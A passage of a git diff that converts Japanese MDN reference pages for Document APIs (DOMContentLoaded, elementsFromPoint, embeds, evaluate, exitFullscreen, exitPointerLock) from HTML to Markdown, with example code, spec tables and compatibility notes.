同期 JavaScript は DOM の解析をいったん中断します。ユーザーがページをリクエストした後でできるだけ早く DOM が解析されるようにしたい場合は、 JavaScript を非同期にして、スタイルシートの読み込みを最適化してください。ふつう通りに読み込むと、スタイルシートは HTML と並行で読み込まれ、中心となる HTML 文書の帯域を「盗む」ため、ふつう通りに読み込むと DOM 解析の速度を低下させます。

- -

- -

基本的な使用

- -
document.addEventListener('DOMContentLoaded', (event) => {
-    console.log('DOM fully loaded and parsed');
-});
-
- -

DOMContentLoaded の遅延

- -
<script>
-  document.addEventListener('DOMContentLoaded', (event) => {
-    console.log('DOM fully loaded and parsed');
-  });
-
-for( let i = 0; i < 1000000000; i++)
-{} // This synchronous script is going to delay parsing of the DOM,
-   // so the DOMContentLoaded event is going to launch later.
-</script>
-
- -

読み込みが完了しているかどうかのチェック

- -

DOMContentLoaded はスクリプト実行の機会がある前に発生することがあるため、リスナーを追加する前にチェックするのが賢明です。

- -
function doSomething() {
-  console.info('DOM loaded');
-}
-
-if (document.readyState === 'loading') {  // Loading hasn't finished yet
-  document.addEventListener('DOMContentLoaded', doSomething);
-} else {  // `DOMContentLoaded` has already fired
-  doSomething();
-}
-
- -

ライブデモ

- -

HTML

- -
<div class="controls">
-  <button id="reload" type="button">Reload</button>
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
- - - -

JS

- -
const log = document.querySelector('.event-log-contents');
-const reload = document.querySelector('#reload');
-
-reload.addEventListener('click', () => {
-  log.textContent ='';
-  window.setTimeout(() => {
-      window.location.reload(true);
-  }, 200);
-});
-
-window.addEventListener('load', (event) => {
-    log.textContent = log.textContent + 'load\n';
-});
-
-document.addEventListener('readystatechange', (event) => {
-    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
-});
-
-document.addEventListener('DOMContentLoaded', (event) => {
-    log.textContent = log.textContent + `DOMContentLoaded\n`;
-});
-
-
- -

結果

- -

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#stop-parsing', 'DOMContentLoaded')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'syntax.html#the-end', 'DOMContentLoaded')}}{{Spec2('HTML5 W3C')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.DOMContentLoaded_event")}}

- -

関連情報

- -
    -
  • 関連イベント: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
  • -
  • {{domxref("Window")}} を対象とした同じイベント: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}
  • -
diff --git a/files/ja/web/api/document/domcontentloaded_event/index.md b/files/ja/web/api/document/domcontentloaded_event/index.md new file mode 100644 index 00000000000000..5376e85b596882 --- /dev/null +++ b/files/ja/web/api/document/domcontentloaded_event/index.md @@ -0,0 +1,172 @@ +--- +title: 'Document: DOMContentLoaded イベント' +slug: Web/API/Document/DOMContentLoaded_event +tags: + - API + - DOMContentLoaded + - Document + - Event + - Web +translation_of: Web/API/Document/DOMContentLoaded_event +--- +{{APIRef}} + +**`DOMContentLoaded`** イベントは、 HTML の初期文書が完全に読み込まれ解釈された時点で発生し、スタイルシート、画像、サブフレームの読み込みが完了するのを待ちません。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル + 可 (ただし、キャンセル可能ではない単純イベントとして定義されている) +
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティなし
+ +別なイベントである {{domxref("Window/load_event", "load")}} は、ページ全体が読み込まれたときにのみ使用します。 `load` を `DOMContentLoaded` がより適切である場面で使ってしまうことがよくある誤りです。 + +同期 JavaScript は DOM の解析をいったん中断します。ユーザーがページをリクエストした後でできるだけ早く DOM が解析されるようにしたい場合は、 [JavaScript を非同期に](/ja/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests)して、[スタイルシートの読み込みを最適化](https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery)してください。ふつう通りに読み込むと、スタイルシートは HTML と並行で読み込まれ、中心となる HTML 文書の帯域を「盗む」ため、ふつう通りに読み込むと DOM 解析の速度を低下させます。 + +## 例 + +### 基本的な使用 + +```js +document.addEventListener('DOMContentLoaded', (event) => { + console.log('DOM fully loaded and parsed'); +}); +``` + +### DOMContentLoaded の遅延 + +```html + +``` + +### 読み込みが完了しているかどうかのチェック + +`DOMContentLoaded` はスクリプト実行の機会がある前に発生することがあるため、リスナーを追加する前にチェックするのが賢明です。 + +```js +function doSomething() { + console.info('DOM loaded'); +} + +if (document.readyState === 'loading') { // Loading hasn't finished yet + document.addEventListener('DOMContentLoaded', doSomething); +} else { // `DOMContentLoaded` has already fired + doSomething(); +} +``` + +### ライブデモ + +#### HTML + +```html +
+ +
+ +
+ + +
+``` + +```css hidden +body { + display: grid; + grid-template-areas: "control log"; +} + +.controls { + grid-area: control; + display: flex; + align-items: center; + justify-content: center; +} + +.event-log { + grid-area: log; +} + +.event-log-contents { + resize: none; +} + +label, button { + display: block; +} + +#reload { + height: 2rem; +} +``` + +#### JS + +```js +const log = document.querySelector('.event-log-contents'); +const reload = document.querySelector('#reload'); + +reload.addEventListener('click', () => { + log.textContent =''; + window.setTimeout(() => { + window.location.reload(true); + }, 200); +}); + +window.addEventListener('load', (event) => { + log.textContent = log.textContent + 'load\n'; +}); + +document.addEventListener('readystatechange', (event) => { + log.textContent = log.textContent + `readystate: ${document.readyState}\n`; +}); + +document.addEventListener('DOMContentLoaded', (event) => { + log.textContent = log.textContent + `DOMContentLoaded\n`; +}); +``` + +#### 結果 + +{{ EmbedLiveSample('Live_example', '100%', '160px') }} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG', '#stop-parsing', 'DOMContentLoaded')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'syntax.html#the-end', 'DOMContentLoaded')}} | {{Spec2('HTML5 W3C')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.DOMContentLoaded_event")}} + +## 関連情報 + +- 関連イベント: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}} +- {{domxref("Window")}} を対象とした同じイベント: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}} diff --git a/files/ja/web/api/document/elementsfrompoint/index.html b/files/ja/web/api/document/elementsfrompoint/index.html deleted file mode 100644 index 98a08a450f3d72..00000000000000 --- a/files/ja/web/api/document/elementsfrompoint/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: DocumentOrShadowRoot.elementsFromPoint() -slug: Web/API/Document/elementsFromPoint -tags: - - API - - Document - - DocumentOrShadowRoot - - Method - - Reference - - ShadowRoot - - elementsFromPoint - - elementsFromPoint() - - shadow dom - - メソッド -translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint -original_slug: Web/API/DocumentOrShadowRoot/elementsFromPoint ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

elementsFromPoint() は {{domxref("DocumentOrShadowRoot")}} インターフェイスのメソッドで、指定された座標 (ビューポートからの相対) にあるすべての要素の配列を返します。

- -

これは {{domxref("DocumentOrShadowRoot.elementFromPoint", "elementFromPoint()")}} メソッドと同じような方法で動作します。

- -

構文

- -
const elements = document.elementsFromPoint(x, y);
- -

引数

- -
-
x
-
点の水平座標です。
-
y
-
点の垂直座標です。
-
- -

返値

- -

{{domxref("Element")}} オブジェクトの配列です。

- -

- -

HTML

- -
<div>
-  <p>Some text</p>
-</div>
-<p>Elements at point 30, 20:</p>
-<div id="output"></div>
-
- -

JavaScript

- -
let output = document.getElementById("output");
-if (document.elementsFromPoint) {
-  let elements = document.elementsFromPoint(30, 20);
-  for (var i = 0; i < elements.length; i++) {
-    output.textContent += elements[i].localName;
-    if (i < elements.length - 1) {
-      output.textContent += " < ";
-    }
-  }
-} else {
-  output.innerHTML = "<span style=\"color: red;\">" +
-     "Browser does not support <code>document.elementsFromPoint()</code>" +
-     "</span>";
-}
- -

{{EmbedLiveSample('Example', '420', '120')}}

- -

仕様書

- - - - - - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Shadow DOM','#dom-documentorshadowroot-elementsfrompoint','elementsFromPoint()')}}{{Spec2('Shadow DOM')}}
{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint()')}}{{Spec2('CSSOM View')}}
- -

ブラウザーの互換性

- -

{{Compat("api.DocumentOrShadowRoot.elementsFromPoint")}}

- -

関連情報

- -
    -
  • {{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}
  • -
  • {{DOMxRef("DocumentOrShadowRoot.msElementsFromRect()")}} {{Non-standard_Inline}}
  • -
diff --git a/files/ja/web/api/document/elementsfrompoint/index.md b/files/ja/web/api/document/elementsfrompoint/index.md new file mode 100644 index 00000000000000..89d2bd5deb17b0 --- /dev/null +++ b/files/ja/web/api/document/elementsfrompoint/index.md @@ -0,0 +1,88 @@ +--- +title: DocumentOrShadowRoot.elementsFromPoint() +slug: Web/API/Document/elementsFromPoint +tags: + - API + - Document + - DocumentOrShadowRoot + - Method + - Reference + - ShadowRoot + - elementsFromPoint + - elementsFromPoint() + - shadow dom + - メソッド +translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint +original_slug: Web/API/DocumentOrShadowRoot/elementsFromPoint +--- +{{APIRef("DOM")}}{{SeeCompatTable}} + +**`elementsFromPoint()`** は {{domxref("DocumentOrShadowRoot")}} インターフェイスのメソッドで、指定された座標 (ビューポートからの相対) にあるすべての要素の配列を返します。 + +これは {{domxref("DocumentOrShadowRoot.elementFromPoint", "elementFromPoint()")}} メソッドと同じような方法で動作します。 + +## 構文 + +``` +const elements = document.elementsFromPoint(x, y); +``` + +### 引数 + +- `x` + - : 点の水平座標です。 +- `y` + - : 点の垂直座標です。 + +### 返値 + +{{domxref("Element")}} オブジェクトの配列です。 + +## 例 + +### HTML + +```html +
+

Some text

+
+

Elements at point 30, 20:

+
+``` + +### JavaScript + +```js +let output = document.getElementById("output"); +if (document.elementsFromPoint) { + let elements = document.elementsFromPoint(30, 20); + for (var i = 0; i < elements.length; i++) { + output.textContent += elements[i].localName; + if (i < elements.length - 1) { + output.textContent += " < "; + } + } +} else { + output.innerHTML = "" + + "Browser does not support document.elementsFromPoint()" + + ""; +} +``` + +{{EmbedLiveSample('Example', '420', '120')}} + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | +| {{SpecName('Shadow DOM','#dom-documentorshadowroot-elementsfrompoint','elementsFromPoint()')}} | {{Spec2('Shadow DOM')}} | +| {{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint()')}} | {{Spec2('CSSOM View')}} | + +## ブラウザーの互換性 + +{{Compat("api.DocumentOrShadowRoot.elementsFromPoint")}} + +## 関連情報 + +- {{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}} +- {{DOMxRef("DocumentOrShadowRoot.msElementsFromRect()")}} {{Non-standard_Inline}} diff --git a/files/ja/web/api/document/embeds/index.html b/files/ja/web/api/document/embeds/index.html deleted file mode 100644 index 5da1ce13fd5c9d..00000000000000 --- a/files/ja/web/api/document/embeds/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Document.embeds -slug: Web/API/Document/embeds -tags: - - API - - DOM - - Document - - HTML DOM - - Property - - embeds - - プロパティ -translation_of: Web/API/Document/embeds ---- -
{{ApiRef}}
- -

{{domxref("Document")}} インターフェイスの embeds プロパティは読み取り専用で、現在の文書の埋め込み {{htmlelement("object")}} 要素のリストを返します。

- -

構文

- -
nodeList = document.embeds
-
- -

- -

{{domxref("HTMLCollection")}} です。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}{{ Spec2('HTML WHATWG') }}
- -

ブラウザーの対応

- -
{{Compat("api.Document.embeds")}}
diff --git a/files/ja/web/api/document/embeds/index.md b/files/ja/web/api/document/embeds/index.md new file mode 100644 index 00000000000000..7935056a66fb5e --- /dev/null +++ b/files/ja/web/api/document/embeds/index.md @@ -0,0 +1,36 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - API + - DOM + - Document + - HTML DOM + - Property + - embeds + - プロパティ +translation_of: Web/API/Document/embeds +--- +{{ApiRef}} + +{{domxref("Document")}} インターフェイスの **`embeds`** プロパティは読み取り専用で、現在の文書の埋め込み {{htmlelement("object")}} 要素のリストを返します。 + +## 構文 + +``` +nodeList = document.embeds +``` + +### 値 + +{{domxref("HTMLCollection")}} です。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | ------------------------------------ | ---- | +| {{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}} | {{ Spec2('HTML WHATWG') }} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.embeds")}} diff --git a/files/ja/web/api/document/evaluate/index.html b/files/ja/web/api/document/evaluate/index.html deleted file mode 100644 index a3ec8c762523b0..00000000000000 --- a/files/ja/web/api/document/evaluate/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Document.evaluate() -slug: Web/API/Document/evaluate -translation_of: Web/API/Document/evaluate ---- -
{{ ApiRef("DOM") }}
- -
XPath 式やその他与えられたパラメータに基づいて XPathResult を返します。
- -
- -

構文

- -
var xpathResult = document.evaluate(
- xpathExpression,
- contextNode,
- namespaceResolver,
- resultType,
- result
-);
- -
    -
  • xpathExpression は評価される Xpath を示す文字列です。
  • -
  • contextNode はクエリのコンテキストノードを指定します(XPath の仕様を参照してください) コンテキストノードとして document を渡すのが一般的です。
  • -
  • namespaceResolver は、任意の名前空間接頭辞を受け取り、その接頭辞に関連付けられた名前空間 URI を文字列として返す関数です。接頭辞が文書の中でマッチされるように、XPath 自身の中で接頭辞を解決するために使われます。HTML 文書向け、または名前空間接頭辞を使わないときは null を指定するのが一般的です。
  • -
  • resultType は返り値である XPathResult のタイプに対応する整数です。XPathResult コンストラクタの名前付き定数プロパティ (例えば XPathResult.ANY_TYPE) を使用してください。これらは0から9までの整数に対応しています。
  • -
  • result は結果として使われる既存の XPathResult です。null を指定するのが最も一般的です。null は新しい XPathResult を生成します。
  • -
- -

- -
var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
-/* Search the document for all h2 elements.
- * The result will likely be an unordered node iterator. */
-var thisHeading = headings.iterateNext();
-var alertText = "Level 2 headings in this document are:\n";
-while (thisHeading) {
-  alertText += thisHeading.textContent + "\n";
-  thisHeading = headings.iterateNext();
-}
-alert(alertText); // Alerts the text of all h2 elements
-
- -

Note, in the above example, a more verbose XPath is preferred over common shortcuts such as //h2. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits every node from the root and all subnodes looking for possible matches.

- -

Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:

- -
document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
-
- -

Notice in the above document.body has been used as the context instead of document so the XPath starts from the body element. (In this example, the "." is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving //h2) the query would start from the root node (html) which would be more wasteful.)

- -

See Introduction to using XPath in JavaScript for more information.

- -

注釈

- -
    -
  • XPath expressions can be evaluated on HTML and XML documents.
  • -
  • While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document.
  • -
- -

戻り値の分類

- -

(Merge with Template:XPathResultConstants?

- -

These are supported values for the resultType parameter of the evaluate method:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Result TypeValueDescription
ANY_TYPE0Whatever type naturally results from the given expression.
NUMBER_TYPE1A result set containing a single number. Useful, for example, in an XPath expression using the count() function.
STRING_TYPE2A result set containing a single string.
BOOLEAN_TYPE3A result set containing a single boolean value. Useful, for example, an an XPath expression using the not() function.
UNORDERED_NODE_ITERATOR_TYPE4A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_ITERATOR_TYPE5A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
UNORDERED_NODE_SNAPSHOT_TYPE6A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_SNAPSHOT_TYPE7A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
ANY_UNORDERED_NODE_TYPE8A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.
FIRST_ORDERED_NODE_TYPE9A result set containing the first node in the document that matches the expression.
- -

Results of NODE_ITERATOR types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.

- -

Results of NODE_SNAPSHOT types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.

- -

仕様

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}{{Spec2("DOM3 XPath")}}Initial specification
- -

ブラウザ互換性

- -

{{Compat("api.Document.evaluate")}}

- -

関連項目

- - diff --git a/files/ja/web/api/document/evaluate/index.md b/files/ja/web/api/document/evaluate/index.md new file mode 100644 index 00000000000000..39510119abfb07 --- /dev/null +++ b/files/ja/web/api/document/evaluate/index.md @@ -0,0 +1,95 @@ +--- +title: Document.evaluate() +slug: Web/API/Document/evaluate +translation_of: Web/API/Document/evaluate +--- +{{ ApiRef("DOM") }}[XPath](/ja/docs/XPath "XPath") 式やその他与えられたパラメータに基づいて [`XPathResult`](/ja/docs/XPathResult "XPathResult") を返します。 + +## 構文 + +``` +var xpathResult = document.evaluate( + xpathExpression, + contextNode, + namespaceResolver, + resultType, + result +); +``` + +- `xpathExpression` は評価される Xpath を示す文字列です。 +- `contextNode` はクエリの*コンテキストノード*を指定します([XPath の仕様](http://www.w3.org/TR/xpath)を参照してください) コンテキストノードとして `document` を渡すのが一般的です。 +- `namespaceResolver` は、任意の名前空間接頭辞を受け取り、その接頭辞に関連付けられた名前空間 URI を文字列として返す関数です。接頭辞が文書の中でマッチされるように、XPath 自身の中で接頭辞を解決するために使われます。HTML 文書向け、または名前空間接頭辞を使わないときは `null` を指定するのが一般的です。 +- `resultType` は返り値である `XPathResult` のタイプに対応する整数です。XPathResult コンストラクタの[名前付き定数プロパティ](#Result_types) (例えば `XPathResult.ANY_TYPE`) を使用してください。これらは 0 から 9 までの整数に対応しています。 +- `result` は結果として使われる既存の `XPathResult` です。`null` を指定するのが最も一般的です。`null` は新しい `XPathResult を生成します。` + +## 例 + +```js +var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); +/* Search the document for all h2 elements. + * The result will likely be an unordered node iterator. */ +var thisHeading = headings.iterateNext(); +var alertText = "Level 2 headings in this document are:\n"; +while (thisHeading) { + alertText += thisHeading.textContent + "\n"; + thisHeading = headings.iterateNext(); +} +alert(alertText); // Alerts the text of all h2 elements +``` + +Note, in the above example, a more verbose XPath is preferred over common shortcuts such as `//h2`. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits _every_ node from the root and all subnodes looking for possible matches. + +Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this: + +```js +document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); +``` + +Notice in the above `document.body` has been used as the context instead of `document` so the XPath starts from the body element. (In this example, the `"."` is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving `//h2`) the query would start from the root node (`html`) which would be more wasteful.) + +See [Introduction to using XPath in JavaScript](/ja/docs/Introduction_to_using_XPath_in_JavaScript "Introduction to using XPath in JavaScript") for more information. + +## 注釈 + +- XPath expressions can be evaluated on HTML and XML documents. +- While using document.evaluate() works in FF2, in FF3 one must use someXMLDoc.evaluate() if evaluating against something other than the current document. + +## 戻り値の分類 + +(Merge with [Template:XPathResultConstants](/Template:XPathResultConstants "Template:XPathResultConstants")? + +These are supported values for the `resultType` parameter of the `evaluate` method: + +| Result Type | Value | Description | +| ------------------------------ | ----- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `ANY_TYPE` | 0 | Whatever type naturally results from the given expression. | +| `NUMBER_TYPE` | 1 | A result set containing a single number. Useful, for example, in an XPath expression using the `count()` function. | +| `STRING_TYPE` | 2 | A result set containing a single string. | +| `BOOLEAN_TYPE` | 3 | A result set containing a single boolean value. Useful, for example, an an XPath expression using the `not()` function. | +| `UNORDERED_NODE_ITERATOR_TYPE` | 4 | A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document. | +| `ORDERED_NODE_ITERATOR_TYPE` | 5 | A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document. | +| `UNORDERED_NODE_SNAPSHOT_TYPE` | 6 | A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document. | +| `ORDERED_NODE_SNAPSHOT_TYPE` | 7 | A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document. | +| `ANY_UNORDERED_NODE_TYPE` | 8 | A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression. | +| `FIRST_ORDERED_NODE_TYPE` | 9 | A result set containing the first node in the document that matches the expression. | + +Results of `NODE_ITERATOR` types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error. + +Results of `NODE_SNAPSHOT` types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed. + +## 仕様 + +| Specification | Status | Comment | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------- | +| {{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}} | {{Spec2("DOM3 XPath")}} | Initial specification | + +## ブラウザ互換性 + +{{Compat("api.Document.evaluate")}} + +## 関連項目 + +- [DOM:document.createExpression](/ja/docs/DOM/document.createExpression "DOM/document.createExpression") +- [XPath Code Snippets](/ja/docs/Code_snippets/XPath "Code_snippets/XPath") +- [Check for browser support](http://codepen.io/johan/full/ckFgn) diff --git a/files/ja/web/api/document/exitfullscreen/index.html b/files/ja/web/api/document/exitfullscreen/index.html deleted file mode 100644 index 07ceffe70acda2..00000000000000 --- a/files/ja/web/api/document/exitfullscreen/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Document.exitFullscreen() -slug: Web/API/Document/exitFullscreen -tags: - - API - - DOM - - Document - - Full - - Full-screen - - Fullscreen API - - Method - - Reference - - exitFullscreen - - fullscreen - - screen - - メソッド - - 全画面 -translation_of: Web/API/Document/exitFullscreen ---- -
{{ApiRef("Fullscreen API")}}
- -

{{domxref("Document")}} の exitFullscreen() メソッドは、この文書で現在全画面モードで表示されている要素が全画面モードを向け、画面を以前の状態に戻すことを要求します。これはふつう、以前の {{domxref("Element.requestFullscreen()")}} の呼び出しの効果を取り消します。

- -

構文

- -
exitPromise = document.exitFullscreen();
-
- -

引数

- -

なし。

- -

返値

- -

{{Glossary("user agent", "ユーザーエージェント")}}が全画面モードから完全に抜けたら解決される {{jsxref("Promise")}} です。全画面モードから抜けようとしてエラーが発生したら、 Promise の catch() ハンドラーが呼び出されます。

- -

- -

この例ではマウスボタンで中をクリックするたびに、現在の文書が全画面表示になったり戻ったりします。

- -
document.onclick = function (event) {
-  if (document.fullscreenElement) {
-    document.exitFullscreen()
-      .then(() => console.log("Document Exited form Full screen mode"))
-      .catch((err) => console.error(err))
-  } else {
-    document.documentElement.requestFullscreen()
-  }
-}
- -
-

注: もっと完全な例については、{{SectionOnPage("/ja/docs/Web/API/Element/requestFullScreen", "例")}}をご覧ください。

-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}}{{Spec2("Fullscreen")}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.exitFullscreen")}}

- -

関連情報

- -
    -
  • 全画面 API
  • -
  • 全画面 API のガイド
  • -
  • {{ domxref("Element.requestFullscreen()") }}
  • -
  • {{ domxref("Document.fullscreenElement") }}
  • -
  • {{ cssxref(":fullscreen") }} および {{cssxref("::backdrop")}}
  • -
  • {{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性
  • -
diff --git a/files/ja/web/api/document/exitfullscreen/index.md b/files/ja/web/api/document/exitfullscreen/index.md new file mode 100644 index 00000000000000..51ee56a1b55060 --- /dev/null +++ b/files/ja/web/api/document/exitfullscreen/index.md @@ -0,0 +1,73 @@ +--- +title: Document.exitFullscreen() +slug: Web/API/Document/exitFullscreen +tags: + - API + - DOM + - Document + - Full + - Full-screen + - Fullscreen API + - Method + - Reference + - exitFullscreen + - fullscreen + - screen + - メソッド + - 全画面 +translation_of: Web/API/Document/exitFullscreen +--- +{{ApiRef("Fullscreen API")}} + +{{domxref("Document")}} の **`exitFullscreen()`** メソッドは、この文書で現在全画面モードで表示されている要素が全画面モードを向け、画面を以前の状態に戻すことを要求します。これはふつう、以前の {{domxref("Element.requestFullscreen()")}} の呼び出しの効果を取り消します。 + +## 構文 + +``` +exitPromise = document.exitFullscreen(); +``` + +### 引数 + +なし。 + +### 返値 + +{{Glossary("user agent", "ユーザーエージェント")}}が全画面モードから完全に抜けたら解決される {{jsxref("Promise")}} です。全画面モードから抜けようとしてエラーが発生したら、 Promise の `catch()` ハンドラーが呼び出されます。 + +## 例 + +この例ではマウスボタンで中をクリックするたびに、現在の文書が全画面表示になったり戻ったりします。 + +``` +document.onclick = function (event) { + if (document.fullscreenElement) { + document.exitFullscreen() + .then(() => console.log("Document Exited form Full screen mode")) + .catch((err) => console.error(err)) + } else { + document.documentElement.requestFullscreen() + } +} +``` + +> **Note:** もっと完全な例については、{{SectionOnPage("/ja/docs/Web/API/Element/requestFullScreen", "例")}}をご覧ください。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}} | {{Spec2("Fullscreen")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.exitFullscreen")}} + +## 関連情報 + +- [全画面 API](/ja/docs/Web/API/Fullscreen_API) +- [全画面 API のガイド](/ja/docs/Web/API/Fullscreen_API/Guide) +- {{ domxref("Element.requestFullscreen()") }} +- {{ domxref("Document.fullscreenElement") }} +- {{ cssxref(":fullscreen") }} および {{cssxref("::backdrop")}} +- {{HTMLElement("iframe")}} の {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 属性 diff --git a/files/ja/web/api/document/exitpointerlock/index.html b/files/ja/web/api/document/exitpointerlock/index.html deleted file mode 100644 index 90a3d83ac04543..00000000000000 --- a/files/ja/web/api/document/exitpointerlock/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Document.exitPointerLock() -slug: Web/API/Document/exitPointerLock -tags: - - API - - Experimental - - Method - - Reference - - mouse lock -translation_of: Web/API/Document/exitPointerLock ---- -
{{APIRef("DOM")}} {{seeCompatTable}}
- -

exitPointerLock() メソッドは、以前 {{domxref("Element.requestPointerLock")}} でリクエストされたポインターロックを非同期に解放します。

- -

リクエストが成功したか失敗したかを追跡するには、 {{event("pointerlockchange")}} および {{event("pointerlockerror")}} イベントを待ち受けする必要があります。

- -

構文

- -
document.exitPointerLock();
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Document インターフェイスを拡張
- -

ブラウザーの互換性

- -

{{Compat("api.Document.exitPointerLock")}}

- -

関連情報

- -
    -
  • {{ domxref("Document.pointerLockElement") }}
  • -
  • {{ domxref("Element.requestPointerLock()") }}
  • -
  • ポインターロック
  • -
